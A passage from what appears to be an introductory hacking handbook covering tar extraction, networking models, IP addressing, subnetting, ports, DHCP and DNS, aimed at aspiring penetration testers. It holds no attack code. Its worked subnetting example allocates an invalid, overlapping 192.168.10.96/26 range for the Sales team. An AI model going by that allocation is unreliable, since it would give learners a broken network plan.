file1.txt.bz2
Untarring
Untarring is the process of extracting the contents of a tar archive (a file with a .tar
extension) back into their original files and directories. When you untar a file, you
restore the files and folders that were previously combined into a single archive,
preserving their structure, permissions, and metadata. Untarring is the opposite of
tarring, which is the process of creating a tar archive by bundling multiple files and
directories together.
121
5/26/25, 7:47 PM
NCA's Hacking Handbook
┌──(kali㉿kali)-[~/Desktop]
└─$ mv myarchive.tar ../Downloads/myarchive.tar
┌──(kali㉿kali)-[~/Downloads]
└─$ ls
myarchive.tar
┌──(kali㉿kali)-[~/Downloads]
└─$ tar -xvf myarchive.tar
file1.txt
file2.txt
folder1/
folder2/
┌──(kali㉿kali)-[~/Downloads]
└─$ ls
file1.txt file2.txt folder1
folder2
myarchive.tar
In -xvf flag at tar command are:
•
•
•
x : Extract files from the archive.
v : Verbose mode (shows the files being extracted).
f : Specifies the archive file to extract.
Decompression
Decompression is the process of restoring a compressed file (e.g., .gz , .bz2 ,
.xz , .zip ) back to its original, uncompressed state. This allows you to access
and use the file in its original form.
Decompressing with gzip
┌──(kali㉿kali)-[~/Downloads]
└─$ gunzip file1.txt.gz
Decompressing with bzip2
122
5/26/25, 7:47 PM
NCA's Hacking Handbook
┌──(kali㉿kali)-[~/Downloads]
└─$ bunzip2 file1.txt.bz2
123
5/26/25, 7:47 PM
NCA's Hacking Handbook
Linux Capstone
Since you've finished reading the Linux section of our handbook, there's a test for
you to try. It's available here: Access it here .
Visit the room and get started.
If you don't have TryHackMe Premium, you'll need to install the provided OVA file
and import it into VirtualBox. Make sure the network adapter is set to Bridged so
that you can SSH into the virtual machine and follow along to answer all the
questions.
Good luck! 😄
124
5/26/25, 7:47 PM
NCA's Hacking Handbook
Networking
125
5/26/25, 7:47 PM
NCA's Hacking Handbook
Introduction to Networking
Networking refers to the process of connecting computers and other devices to
share data and resources. It enables communication between different systems
over local and global networks, such as the internet. Networks can be wired (using
cables) or wireless (using Wi-Fi or radio signals). The key purpose of networking is
to allow devices to exchange information efficiently, whether it's sending emails,
browsing the web, or accessing remote servers.
At its core, networking relies on rules and protocols that define how data is
transmitted between devices. These protocols ensure that data reaches the right
destination without errors. For example, when you visit a website, your computer
sends a request through the internet using a networking protocol, and the website’s
server responds by sending back the requested content.
Why it Matters?
Networking is the foundation of modern communication systems, and
understanding how data flows across networks is essential for penetration testing
(pentesting). Pentesters assess network security by identifying weaknesses in how
systems are connected, communicating, and authenticated. Networking knowledge
helps pentesters exploit vulnerabilities like open ports, misconfigured services, and
insecure protocols, simulating how an attacker might infiltrate a network.
A solid grasp of networking principles is crucial for identifying attack vectors in
cybersecurity. Concepts like IP addressing, DNS, protocols (HTTP, FTP, etc),
firewalls, and routers all play vital roles in how systems communicate and where
attacks can be launched. In pentesting, knowing how networks operate allows
testers to map out potential attack surfaces, understand the impact of
vulnerabilities, and implement effective countermeasures to secure networks.
Pentesters often use tools like Nmap to scan networks for open ports and active
services, Wireshark to analyze network traffic, and Metasploit to exploit networkbased vulnerabilities. Understanding how networks work helps pentesters think like
attackers, identifying security gaps before bad-hackers do.
126
5/26/25, 7:47 PM
NCA's Hacking Handbook
Basic Networking Terms
To understand networking, you need to be familiar with some basic terms:
• IP Address (Internet Protocol Address): A unique number assigned to each
device on a network. It helps devices find and communicate with each other.
Example: 192.168.1.1 .
• MAC Address (Media Access Control Address): A unique identifier assigned to
a network device's hardware, like a Wi-Fi adapter.
• Port: A virtual entry point on a device where communication happens. Common
ports include 80 (HTTP) and 443 (HTTPS).
• Protocol: A set of rules that define how data is transmitted. Examples: TCP/IP
(used for internet communication), HTTP (used for websites), FTP (used for
file transfers).
• DNS (Domain Name System): Translates human-readable domain names (like
ncateam.xyz ) into IP addresses.
• Firewall: A security system that controls network traffic, allowing or blocking
connections based on security rules.
• Router: A device that directs network traffic and connects different networks,
such as your home Wi-Fi and the internet.
• Subnet: A smaller network within a larger network, used to organize and
manage devices more efficiently.
127
5/26/25, 7:47 PM
NCA's Hacking Handbook
Networking Models
128
5/26/25, 7:47 PM
NCA's Hacking Handbook
OSI Model
The OSI (Open Systems Interconnection) Model is a conceptual framework used
to describe how data travels across a network. It helps in understanding how
different networking protocols interact and communicate with each other. This
model was developed by the International Organization for Standardization (ISO)
to standardize network communication and make different systems compatible with
one another.
Why is the OSI Model Important?
• It helps troubleshoot network issues by identifying at which layer a problem
occurs.
• It allows different networking devices (like routers, switches, and computers)
to communicate smoothly.
• It helps cybersecurity professionals understand vulnerabilities and secure
networks effectively.
Overview of the OSI Model
The OSI Model consists of 7 layers, each responsible for a specific function in
network communication.
Layer
Function
7 - Application
Where users interact with applications (e.g.,
web browsers, email clients)
6 - Presentation
Converts and formats data for
communication (e.g., encryption,
compression)
5 - Session
Establishes, manages, and terminates
communication sessions
129
5/26/25, 7:47 PM
NCA's Hacking Handbook
4 - Transport
Ensures reliable or fast delivery of data
between devices
3 - Network
Determines the best path for data to travel
through a network
2 - Data Link
Manages direct connections between
devices on the same network
130
5/26/25, 7:47 PM
NCA's Hacking Handbook
Image Adapted from https://a.storyblok.com/f/223147/892x962/c8c628e2b3/osimodel.png/m/0x1000
About Layers
131
5/26/25, 7:47 PM
NCA's Hacking Handbook
Layer 7 - Application Layer
This is the layer where humans interact with software applications to send and
receive data.
Examples:
• Web Browsing (HTTP/HTTPS): When you type ncateam.xyz into a browser,
your request is processed at this layer.
• Email (SMTP, IMAP, POP3): When sending an email using Gmail or Outlook.
• File Transfers (FTP): Downloading or uploading files over the internet.
• Messaging Apps (WhatsApp, Telegram, Discord): Sending texts or images
over the internet.
Layer 6 - Presentation Layer
This layer formats, encrypts, and compresses data so it can be properly
understood by the receiving application.
Examples:
132
5/26/25, 7:47 PM
NCA's Hacking Handbook
• Encryption (SSL/TLS): When you visit a secure website ( https:// ), your data
is encrypted here.
• Character Encoding (ASCII, Unicode): Ensuring that text appears correctly in
different languages.
• Data Compression (ZIP, MP3, JPEG): Compressing files so they use less
bandwidth.
Image Adapted from: https://www.includehelp.com/computer-networks/images/presentationlayer.jpg
Layer 5 - Session Layer
This layer is responsible for establishing, managing, and terminating connections
between two devices.
Examples:
• Online Banking: When you log into a bank’s website, the session ensures you
remain logged in securely.
133
5/26/25, 7:47 PM
NCA's Hacking Handbook
• Video Calls (Zoom, Skype): The session keeps the call active while data is
transmitted.
• Logging into Websites: When you stay logged into a website without frequent
reauthentication.
In the figure above, we can see the request and response arrows, which indicate
that session establishment and termination occur only when the sender makes a
request and the receiver responds.
Abstractly, we can understand the session layer using the example of websites.
When we log in, a cookie acts as a medium that maintains the session between the
client and the server. When we log out, the session is terminated. This process
follows a request-response mechanism.
Layer 4 - Transport Layer
This layer ensures that data is delivered completely and in the correct order.
134
5/26/25, 7:47 PM
NCA's Hacking Handbook
Two Main Protocols:
• TCP (Transmission Control Protocol): Ensures reliable, ordered, and errorchecked delivery.
◦ Example: Watching Netflix (video streams without missing parts), Text
Chatting.
• UDP (User Datagram Protocol): Faster but does not guarantee delivery.
◦ Example: Online gaming (slight data loss doesn’t ruin gameplay) and Live
Streaming.
In the figure above, we can see both TCP and UDP connections. Let's first discuss
TCP.
In a TCP connection, the process begins with the client sending a SYN flag (short
for Synchronization) to the server, essentially asking, "Are you alive?" The server
responds with a SYN-ACK, where ACK (short for Acknowledgment) confirms the
receipt of the SYN, and SYN indicates that the server is also initiating
communication. Finally, the client replies with an ACK, confirming the connection.
At this point, both the client and the server know that they are ready to
communicate, and a session is established. This process is known as the TCP
three-way handshake.
On the right side of the figure, we see the UDP connection. Here, the server
requests data, and the client sends a response. However, unlike TCP, UDP does not
establish a handshake or guarantee delivery. The client sends data, but it does not
135
5/26/25, 7:47 PM
NCA's Hacking Handbook
know whether the server has received it or if the data was lost in transit. Similarly,
the server does not confirm receipt of the response. This makes UDP faster but
less reliable compared to TCP.
To know more about SYN, ACK, etc.. (TCP Flags) we showed in above figure, visit:
https://www.geeksforgeeks.org/tcp-flags/
Layer 3 - Network Layer
This layer decides the best route for data packets to take from source to
destination.
Examples:
• IP Addresses (IPv4 & IPv6): Every device on a network has an IP address for
identification.
• Routers: Forward data packets between different networks.
• Google Maps (Pathfinding Analogy): Like GPS finds the best route, the
Network Layer finds the best data path.
Image Adapted from https://cdn.kastatic.org/ka-perseusimages/0d415093c4d2160530541f0170204200c89111d3.svg
In the image above, we can see both the client and the server, with multiple routers
in between. Notice the numbered path highlighted in a red-orange color? That
136
5/26/25, 7:47 PM
NCA's Hacking Handbook
represents the shortest path from the client to the server, as determined by routing
at the network layer.
Layer 2 - Data Link Layer
This layer ensures data is transferred correctly between two directly connected
devices. This layer is responsible for communication between directly connected
network devices (e.g., client and router, or router to another router). It deals with
MAC addresses, frames, and error detection. Protocols like Ethernet, Wi-Fi
(802.11), and PPP operate at this layer.
Examples:
• Ethernet (Wired Networks): Used in LAN (Local Area Network) setups in
homes and offices.
• Wi-Fi (Wireless Networks): Connects laptops and phones to a router
wirelessly.
• MAC Addresses: Unique addresses assigned to network interfaces.
It consists of two sub-layers: the Logical Link Control (LLC), which deals with
communication management, and the Media Access Control (MAC), which controls
access to the shared network medium.
The MAC (Media Access Control) sub-layer plays a critical role in identifying devices
using unique MAC addresses and managing how data is transmitted on a shared
medium like Ethernet or Wi-Fi. It uses MAC addresses to ensure that frames are sent
to the correct device and prevents data collisions in networks where multiple devices
share the same medium. For example, in Ethernet, CSMA/CD (Carrier Sense Multiple
Access with Collision Detection) is used to avoid simultaneous transmissions, while
in Wi-Fi, CSMA/CA (Carrier Sense Multiple Access with Collision Avoidance) is
employed to prevent interference. The MAC layer essentially ensures smooth and
organized communication within a local network.
137
5/26/25, 7:47 PM
NCA's Hacking Handbook
Layer 1 - Physical Layer
Layer 1 - Physical Layer
This is the hardware layer, where actual physical connections exist. This is the
actual physical medium that transmits raw bits of data. It includes Ethernet cables,
fiber optics, radio waves (Wi-Fi), and even electrical signals in copper wires.
Examples:
• Ethernet Cables (Copper & Fiber Optics): Used to connect computers to
networks.
• Wi-Fi Signals: Transmit data wirelessly via radio waves.
• Bluetooth: Uses radio frequencies to connect wireless devices like keyboards
and headphones.
Radio Waves
138
5/26/25, 7:47 PM
NCA's Hacking Handbook
Ethernet Cable
139
5/26/25, 7:47 PM
NCA's Hacking Handbook
TCP/IP Model
Let's learn about the TCP/IP model. It's also a framework similar to the OSI model
but does some things differently in terms of structure, protocols, and how layers are
defined.
The TCP/IP model is a more simplified and practical approach to networking. It was
developed by the Department of Defense in the 1970s for the ARPANET, the
precursor to the modern internet. While OSI is a conceptual model used to
understand networking and is often used in educational contexts, the TCP/IP model
reflects the real-world implementation of networking protocols.
The TCP/IP model has four layers:
1. Application Layer: This is where high-level protocols like HTTP, FTP, and SMTP
operate. It's the layer where user applications interact with the network.
2. Transport Layer: This layer is responsible for providing communication services
between systems. The most important protocols in this layer are TCP
(Transmission Control Protocol) and UDP (User Datagram Protocol). TCP
provides reliable communication, while UDP is used for low-latency applications
that can tolerate some data loss.
3. Internet Layer: The primary protocol in this layer is IP (Internet Protocol). It's
responsible for routing packets of data from the source to the destination
across different networks. This is where IP addressing and routing protocols like
ICMP (Internet Control Message Protocol) come into play.
4. Network Access Layer (Link Layer): This layer corresponds to the physical
network hardware and protocols, like Ethernet or Wi-Fi, and is responsible for
moving data across the physical network. It handles framing and addressing
within the local network.
Key Differences Between TCP/IP and OSI:
• Layer Count: The TCP/IP model has four layers, whereas the OSI model has
seven layers. TCP/IP merges the OSI's Presentation and Session layers into its
Application layer, making it more concise.
140
5/26/25, 7:47 PM
NCA's Hacking Handbook
• Protocol Focus: The OSI model is abstract and doesn't specify particular
protocols for each layer, while the TCP/IP model was built specifically around
the protocols that were used in the early stages of networking, particularly TCP
and IP.
Real-World Use:
The TCP/IP model was created to solve practical networking problems and is the
foundation of the internet. In contrast, OSI was designed as a theoretical
framework, and while its concepts are still useful for understanding networking, the
TCP/IP model is more commonly used in practice.
This diagram will help illustrate the structural and functional differences between
them.
141
5/26/25, 7:47 PM
NCA's Hacking Handbook
From the image shown above comparing the OSI and TCP/IP models, you can see
how the Application, Presentation, and Session layers from the OSI model are
merged into one single layer called the Application layer in the TCP/IP model. This
simplification was made to streamline the structure while still covering all the
necessary functions for network communication. Additionally, you will notice that
the Network layer in OSI is renamed to the Internet layer in TCP/IP, reflecting the
role of IP (Internet Protocol) and its focus on routing and addressing on the internet.
Moreover, the Data Link layer and Physical layer in the OSI model are combined
into a single layer called the Network Access layer in the TCP/IP model. This
change was made because the early design of ARPANET, the precursor to the
internet, didn’t require the detailed separation of these layers. The focus was on
providing a practical framework for network communication.
The reason for this restructuring is that when ARPANET, the first version of the
internet, was developed, TCP/IP emerged as a more practical, accurate version of
the layered network model. While the theoretical foundations of the OSI model
continue to influence network design, the TCP/IP model was developed by the
Department of Defense to be more practical, structured, and directly applicable to
real-world networking.
The fundamental concept of layers—each providing distinct functions in the
communication process—remains similar to what we learned from the OSI model,
but the TCP/IP model represents a more efficient and streamlined approach to
achieving these same goals in modern networking.
142
5/26/25, 7:47 PM
NCA's Hacking Handbook
IP Addressing & Subnetting
Networking is the backbone of everything digital, and as a pentester, understanding
how devices communicate is crucial. This chapter will break down IP addressing,
subnetting, MAC addresses, and how they all tie together to form the networks we
hack, secure, and navigate daily.
IPv4 & IPv6 Basics
Every device connected to a network needs an address, just like houses need
addresses for mail delivery. That’s where IP addresses (Internet Protocol
addresses) come in. They help identify and locate devices on a network.
IPv4: The Classic Workhorse
IPv4 (Internet Protocol version 4) has been around since the early days of the
internet. It uses a 32-bit address scheme, which means there are about 4.3 billion
unique IPs available. While this seemed like a lot back in the day, the explosion of
internet-connected devices quickly started running us out of addresses.
Example of an IPv4 address:
192.168.1.1
It consists of four octets (numbers between 0-255), separated by dots.
IPv6: The Future (That’s Already Here... Kinda)
IPv6 was created to solve the IPv4 shortage. It uses a 128-bit address, offering a
mind-blowing 340 undecillion possible addresses (a number so large it’s basically
infinite for our purposes).
Example of an IPv6 address:
143
5/26/25, 7:47 PM
NCA's Hacking Handbook
2001:0db8:85a3:0000:0000:8a2e:0370:7334
But if IPv6 is so much better, why do we still use IPv4? Well, IPv6 adoption has
been slow because most legacy systems still rely on IPv4, and many companies
hesitate to upgrade due to cost and complexity. As a pentester, you’ll mostly deal
with IPv4, but knowing IPv6 is important as its usage grows.
MAC Addresses & ARP: Why Have Two
Addresses?
If an IP address is like a street address, a MAC address (Media Access Control
address) is like a unique serial number assigned to every network device (NIC) by
its manufacturer. While an IP address can change (like moving to a new house), a
MAC address stays the same (like your DNA).
Example MAC Address:
00:1A:2B:3C:4D:5E
MAC addresses operate at Layer 2 (Data Link Layer) of the OSI model, while IP
addresses operate at Layer 3 (Network Layer). This is where ARP (Address
Resolution Protocol) comes in. ARP is responsible for translating IP addresses into
MAC addresses. When your computer wants to send data to another device, it first
asks, “Hey, who has this IP? Give me your MAC address!” The receiving device
responds with its MAC, and the communication happens.
144
5/26/25, 7:47 PM
NCA's Hacking Handbook
This is also where attacks like ARP spoofing come into play, which pentesters often
exploit to intercept network traffic. ARP Spoofing is out-of-scope of this section but
you can research more about this.
Public vs. Private IPs & NAT (How the
Internet Stays Organized)
Not every device can have a unique public IP—there simply aren’t enough to go
around (thanks, IPv4). That’s where private IP addresses and NAT (Network
Address Translation) step in.
Public IPs
These are unique, globally routable (accessable) addresses assigned to devices on
the internet. Think of them as your phone number—anyone in the world can call
you if they know it.
Private IPs
145
5/26/25, 7:47 PM
NCA's Hacking Handbook
These are reserved for use within private networks (homes, offices, etc.) and
cannot be reached directly from the internet. Common private IP ranges are:
•
•
•
192.168.0.0 – 192.168.255.255
10.0.0.0 – 10.255.255.255
172.16.0.0 – 172.31.255.255
Since private IPs can’t directly communicate with the internet, routers use NAT to
translate them into public IPs.
How NAT Works
When a device with a private IP (e.g., 192.168.1.10 ) wants to access the internet,
the router changes its source IP to the public IP (e.g., 203.0.113.5 ). When the
response comes back, the router knows which private IP requested it and forwards
the data correctly. This also provides a layer of security—outside attackers can’t
directly reach devices behind NAT unless port forwarding is set up.
Private Public IP is assigned to router of the home network by Internet Service
Providers (ISP).
Subnetting
Subnetting is the process of dividing a large network into smaller, more manageable
sections. This helps with efficient IP usage, security, and network performance.
Subnetting According to https://www.calculator.net/
A subnet is a division of an IP network (internet protocol suite), where an
IP network is a set of communications protocols used on the Internet
and other similar networks. It is commonly known as TCP/IP
(Transmission Control Protocol/Internet Protocol).
146
5/26/25, 7:47 PM
NCA's Hacking Handbook
The act of dividing a network into at least two separate networks is
called subnetting, and routers are devices that allow traffic exchange
between subnetworks, serving as a physical boundary. IPv4 is the most
common network addressing architecture used, though the use of IPv6
has been growing since 2006.
An IP address is comprised of a network number (routing prefix) and a
rest field (host identifier). A rest field is an identifier that is specific to a
given host or network interface. A routing prefix is often expressed using
Classless Inter-Domain Routing (CIDR) notation for both IPv4 and IPv6.
CIDR is a method used to create unique identifiers for networks, as well
as individual devices. For IPv4, networks can also be characterized
using a subnet mask, which is sometimes expressed in dot-decimal
notation, as shown in the "Subnet" field in the calculator. All hosts on a
subnetwork have the same network prefix, unlike the host identifier,
which is a unique local identification. In IPv4, these subnet masks are
used to differentiate the network number and host identifier. In IPv6, the
network prefix performs a similar function as the subnet mask in IPv4,
with the prefix length representing the number of bits in the address.
Prior to the introduction of CIDR, IPv4 network prefixes could be directly
obtained from the IP address based on the class (A, B, or C, which vary
based on the range of IP addresses they include) of the address and the
network mask. Since the introduction of CIDRs, however, assigning an IP
address to a network interface requires both an address and its network
mask.
Below is a table providing typical subnets for IPv4.
Prefix size
Network mask
Usable hosts per
subnet
/1
128.0.0.0
2,147,483,646
/2
192.0.0.0
1,073,741,822
/3
224.0.0.0
536,870,910
/4
240.0.0.0
268,435,454
147
5/26/25, 7:47 PM
NCA's Hacking Handbook
/5
248.0.0.0
134,217,726
/6
252.0.0.0
67,108,862
/7
254.0.0.0
33,554,430
/8
255.0.0.0
16,777,214
/9
255.128.0.0
8,388,606
/10
255.192.0.0
4,194,302
/11
255.224.0.0
2,097,150
/12
255.240.0.0
1,048,574
/13
255.248.0.0
524,286
/14
255.252.0.0
262,142
/15
255.254.0.0
131,070
/16
255.255.0.0
65,534
/17
255.255.128.0
32,766
/18
255.255.192.0
16,382
/19
255.255.224.0
8,190
/20
255.255.240.0
4,094
/21
255.255.248.0
2,046
/22
255.255.252.0
1,022
/23
255.255.254.0
510
/24
255.255.255.0
254
/25
255.255.255.128
126
/26
255.255.255.192
62
Class A
Class B
Class C
148
5/26/25, 7:47 PM
NCA's Hacking Handbook
/27
255.255.255.224
30
/28
255.255.255.240
14
/29
255.255.255.248
6
/30
255.255.255.252
2
/31
255.255.255.254
0
Subnet Mask
A subnet mask defines which part of an IP address is the network portion and
which part is for devices (hosts). The most common subnet mask is:
255.255.255.0
This means:
• The first three octets ( 192.168.1 ) define the network.
• The last octet (0-255) is used for devices.
More about Subnet
149
5/26/25, 7:47 PM
NCA's Hacking Handbook
Adapted From https://miro.medium.com/v2/resize:fit:720/format:webp/1*5F4dt5pQsKAKW6ZPfJ7wg.png
The image above shows a network on the left side of the figure, where each node
represents a subnet. If we zoom into one of the nodes, we can see devices, routers,
switches, etc., which indicates that we are dividing a large network into smaller
groups and merging all subnets to form a complete network. Subnets are commonly
used in enterprise environments. For example, in a college, the science block and
the management block could each have a different subnet setup.
Subnetting Example
To learn how to manually calculate subnets watch this video:
https://www.youtube.com/watch?v=qulRjRFavJI (RECOMMENDED)
We can use this particular website: https://www.calculator.net/ip-subnetcalculator.html (you can use any website of your choice). You can fill the IP
address of the network which is 192.168.10.0 in our case. For the Subnet Mask
we can select 255.255.255.0 which can also be denoted by prefix size /24 .
When we click " Calculate " we should get the result as:
150
5/26/25, 7:47 PM
NCA's Hacking Handbook
From the above image we can conclude that subnetting the main network of IP:
192.168.10.0 with subnet mask 255.255.255.0 gives:
• IP Address: 192.168.10.0 → This is the network’s starting address.
• Network Address: 192.168.10.0 → The identifier for this subnet; all IPs within
belong to the same network.
• Usable Host IP Range: 192.168.10.1 - 192.168.10.254 → These are the
actual IPs that devices can use.
• Broadcast Address: 192.168.10.255 → Used to send data to all devices in the
subnet.
• Total Number of Hosts: 256 → Includes all possible addresses.
• Number of Usable Hosts: 254 → Excludes the network and broadcast
addresses.
• Subnet Mask: 255.255.255.0 → Defines the size of the subnet.
151
5/26/25, 7:47 PM
NCA's Hacking Handbook
• Wildcard Mask: 0.0.0.255 → Used in firewall rules and ACLs (opposite of
subnet mask).
• Binary Subnet Mask: 11111111.11111111.11111111.00000000 → Shows how
the subnet is divided.
• IP Class: C → A Class C network means smaller networks with up to 254
usable addresses.
• CIDR Notation: /24 → Shorthand for the subnet mask.
• IP Type: Private → Cannot be routed directly on the internet.
I showed a generic subnetting of main network. Now let's subnet for a realistic
scenerio:
Let’s say XYZ Corp. owns the network 192.168.10.0/24 . They need to divide this
network into smaller subnets for different departments:
• IT Department: 50 devices
• HR Department: 30 devices
• Sales Team: 40 devices
To properly subnet the network, we can use a subnet calculator (like the one on
calculator.net ).
• Start with the Main Network ( 192.168.10.0/24 ):
◦ This network provides 256 IP addresses in total (from 192.168.10.0 to
192.168.10.255 ).
• Allocate Subnets for Each Department:
◦ IT Department (50 devices): We need at least 50 usable IP addresses. A
/26 subnet will provide 62 usable IPs, which is enough.
▪ Subnet: 192.168.10.0/26 (Usable range: 192.168.10.1 192.168.10.62 )
◦ HR Department (30 devices): A /27 subnet will provide 30 usable IPs,
perfect for HR.
▪ Subnet: 192.168.10.64/27 (Usable range: 192.168.10.65 192.168.10.94 )
◦ Sales Team (40 devices): A /26 subnet is also enough for the sales team.
152
5/26/25, 7:47 PM
NCA's Hacking Handbook
▪ Subnet: 192.168.10.96/26 (Usable range: 192.168.10.97 192.168.10.158 )
• Resulting Subnets:
◦ IT: 192.168.10.0/26 (62 hosts)
◦ HR: 192.168.10.64/27 (30 hosts)
◦ Sales: 192.168.10.96/26 (62 hosts)
Each department now has its own subnet, which helps to manage IP addresses
efficiently while keeping the network within the overall 192.168.10.0/24 range.
Why Subnetting Is Important:
• Efficient Use of IPs: Only the necessary number of IP addresses are allocated
to each department.
• Security: Subnetting isolates departments, preventing unauthorized access.
• Scalability: The network can grow as needed without wasting IP addresses.
153
5/26/25, 7:47 PM
NCA's Hacking Handbook
Ports and Protocols
In this section, we'll dive into the essential building blocks of network
communication that help devices speak to each other, transfer data, and ensure
everything functions smoothly. Understanding ports, protocols, and how they work
together is vital for anyone starting out in penetration testing or network security.
What are Ports?
In simple terms, a port is like a door through which data enters or leaves a device
(computer, router, server). Think of a device as a building, and each port as a door
that allows certain types of traffic in and out. But just like a building has multiple
doors leading to different rooms, a device has multiple ports, each assigned a
number to distinguish it from others.
• Ports are numbers: A device can have thousands of ports, but only a few
hundred are actively used. Ports are categorized into three ranges:
◦ Well-Known Ports (0-1023): These are reserved for popular services like
HTTP, HTTPS, FTP, etc.
◦ Registered Ports (1024-49151): These are used by applications that aren’t
part of the well-known services but are still standardized.
◦ Dynamic or Private Ports (49152-65535): These are used for ephemeral
(temporary) connections.
For example:
• HTTP uses port 80.
• HTTPS uses port 443.
• FTP uses ports 20 (data) and 21 (control).
• SSH uses port 22.
Each port corresponds to a specific type of service or application, and
understanding these helps us direct data correctly when testing or securing
networks.
154
5/26/25, 7:47 PM
NCA's Hacking Handbook
Common Protocols
Protocols are like languages that computers use to communicate. They define how
data is transmitted across a network, and each one serves a specific purpose.
HTTP (Hypertext Transfer Protocol):
• Port 80
• This is the protocol used for transferring web pages and other resources over
the internet. When you type a website into your browser, it uses HTTP (or
HTTPS) to request the page. HTTP doesn’t encrypt data, so it's not secure by
default.
HTTPS (Hypertext Transfer Protocol Secure):
• Port 443
• A secure version of HTTP that encrypts the data to ensure privacy and security
during transmission. This is used by websites requiring login information or
handling sensitive data.
FTP (File Transfer Protocol):
• Ports 20 and 21
• Used for transferring files between computers over a network. Port 21 handles
control commands, while port 20 is used for data transfer.
SSH (Secure Shell):
• Port 22
• A secure way to remotely access and control another computer over a network.
It is commonly used by system administrators for managing servers. We used
155
5/26/25, 7:47 PM
NCA's Hacking Handbook
SSH to connect to shell of remote server for capstone of Linux Module in
TryHackMe by connecting to TryHackMe VPN Server (if you didn't skip it).
SMB (Server Message Block):
• Ports 137-139 and 445
• Used for sharing files and printers on a network, especially in Windows
environments. SMB allows applications to read and write to files and request
services from server programs.
ICMP (Internet Control Message Protocol):
• Port N/A (ICMP doesn’t use ports)
• Used for sending error messages and operational information. A good example
is the ping command, which uses ICMP to test connectivity between devices.
These protocols form the backbone of most network communications, and knowing
their ports and purposes will help you identify and secure network traffic.
MAC Address (Recall)
Earlier, we briefly mentioned MAC addresses—but now let’s dive into how they play
a key role in networking.
• MAC Address (Media Access Control) is a unique identifier assigned to the
network interface card (NIC) of a device.
• Unlike IP addresses, which can change, MAC addresses are permanent and
assigned at the hardware level, usually in the form of a 12-character
hexadecimal string.
• Example: 00:1A:2B:3C:4D:5E
MAC addresses are used in the data link layer (Layer 2) of the OSI model to ensure
that data is directed to the correct physical device. It’s also crucial when a device is
156
5/26/25, 7:47 PM
NCA's Hacking Handbook
connecting to a network via protocols like ARP (Address Resolution Protocol),
which we'll get into next.
ARP Protocol (Recall)
We already briefly covered ARP earlier, but let’s expand on it here.
• ARP (Address Resolution Protocol) is used to map an IP address to a MAC
address.
• When a device wants to communicate with another device on the local network,
it needs to know the MAC address corresponding to the destination’s IP
address.
• If a device doesn’t know the MAC address, it sends an ARP request to the
network, asking, “Who has this IP address?” The device with that IP responds
with its MAC address.
This protocol is vital for local network communication and is one of the first things
that happen when two devices on the same network try to talk to each other.
TCP vs UDP (Recall)
We’ve previously touched on TCP and UDP, but here’s how they fit into the
protocols we’ve just discussed.
1. TCP (Transmission Control Protocol):
• Reliable: Ensures that packets of data are delivered in the correct order and
checks for errors.
• Connection-oriented: A connection must be established between sender
and receiver before data is transmitted (via a three-way handshake).
• Used by: HTTP, HTTPS, FTP, SSH, SMB, etc.
• Why: TCP is essential for applications where data integrity and order are
crucial. For instance, when you load a web page (HTTP/HTTPS), the
157
5/26/25, 7:47 PM
NCA's Hacking Handbook
browser needs the data to be received in order and without errors to display
it correctly.
2. UDP (User Datagram Protocol):
• Unreliable: Doesn’t guarantee packet delivery or order, which can lead to
dropped or out-of-order data.
• Connectionless: No handshake is required before transmission.
• Used by: DNS (port 53), DHCP (port 67/68), VoIP, streaming services, etc.
• Why: UDP is faster because it doesn’t have to establish a connection or
check for errors. This is why it's used in real-time applications like video
streaming, gaming, or VoIP, where speed is more important than reliability.
UDP, as seen with protocols like DNS and DHCP, is often the preferred choice when
speed is essential, and minor packet loss is acceptable.
DHCP and the DORA Process
DHCP (Dynamic Host Configuration Protocol)—one of the coolest network
protocols out there. It’s like a concierge service for devices trying to connect to a
network. Without DHCP, you would need to manually assign an IP address to every
device on the network, which would be a huge pain.
DHCP automatically assigns IP addresses, subnet masks, default gateways, and DNS
servers to devices on a network, making life much easier for administrators and users
alike.
The DORA Process:
When a device joins a network, DHCP follows a process called DORA:
158
5/26/25, 7:47 PM
NCA's Hacking Handbook
Image Adapted from Post: https://www.linkedin.com/pulse/how-computer-gets-dhcp-addressdora-process-yogesh-sawant/
1.
D iscover: The device sends a broadcast to the network, saying, “Hey, I need
an IP address!”
2. O ffer: The DHCP server responds with an offer, including an available IP
address.
3. R equest: The device then requests that specific IP address from the DHCP
server.
4. A cknowledge: The server acknowledges the request, and the device is
assigned the IP address for a lease time.
This entire process happens quickly and seamlessly, allowing devices to get online
without any manual configuration.
Summary
• Ports help us route traffic to the right service.
• Protocols define how that data should be handled.
• MAC addresses and ARP ensure data finds its way to the correct physical
device.
159
5/26/25, 7:47 PM
NCA's Hacking Handbook
• TCP and UDP control how data is delivered, depending on the need for
reliability and speed.
• DHCP makes it easy to configure devices to join the network without manual
input.
160
5/26/25, 7:47 PM
NCA's Hacking Handbook
DNS (Domain Name System)
The Domain Name System (DNS) is one of the most essential components of the
internet, and you interact with it every time you use a web browser, send an email,
or even ping a website. Imagine the internet as a giant phone book where DNS acts
as the operator, translating the human-friendly names of websites into machinereadable IP addresses. This section will take you through how DNS works in the real
world and walk you through the basic DNS records you’ll come across.
How DNS Works
Let’s start by breaking down how DNS works in a real-world scenario.
1. Human-Friendly Domain Name: Let’s say you want to visit the website
ncateam.xyz . This is the domain name you type into your web browser’s
address bar.
2. DNS Lookup: Behind the scenes, your browser doesn’t know what
ncateam.xyz means until it resolves this domain to an IP address. When you hit
enter, your browser initiates a DNS lookup to translate the domain name into an
IP address.
3. DNS Query Process: Here’s what happens step-by-step in a simplified process:
161
5/26/25, 7:47 PM
NCA's Hacking Handbook
• Step 1: Your browser first checks its local cache to see if it already knows
the IP address for ncateam.xyz . If it does, it uses that cached IP address to
load the website.
• Step 2: If the IP address isn’t in the cache, your browser sends a request to
a recursive DNS resolver. This is typically provided by your Internet Service
Provider (ISP) or a public resolver like Google’s ( 8.8.8.8 ) or Cloudflare's
( 1.1.1.1 ).
• Step 3: The resolver checks if it knows the IP address by looking in its own
cache. If not, it will go through the entire DNS hierarchy to find the
authoritative DNS server for the domain.
• Step 4: The resolver queries the root DNS server, which responds with the
address of the Top-Level Domain (TLD) server (in this case, the .xyz TLD
server).
• Step 5: The TLD server then responds with the address of the Authoritative
DNS Server for ncateam.xyz . This is the final stop where the actual DNS
records for ncateam.xyz are stored.
• Step 6: The authoritative DNS server responds with the corresponding IP
address of ncateam.xyz , say 112.61.6.15 .
• Step 7: Finally, the DNS resolver sends that IP address back to your
browser, which can now access the website.
4. DNS Caching: After the IP address is returned, your browser and the resolver
will cache the result for a specific amount of time (called Time-to-Live or TTL)
so that subsequent requests for ncateam.xyz don’t need to go through the
entire lookup process again.
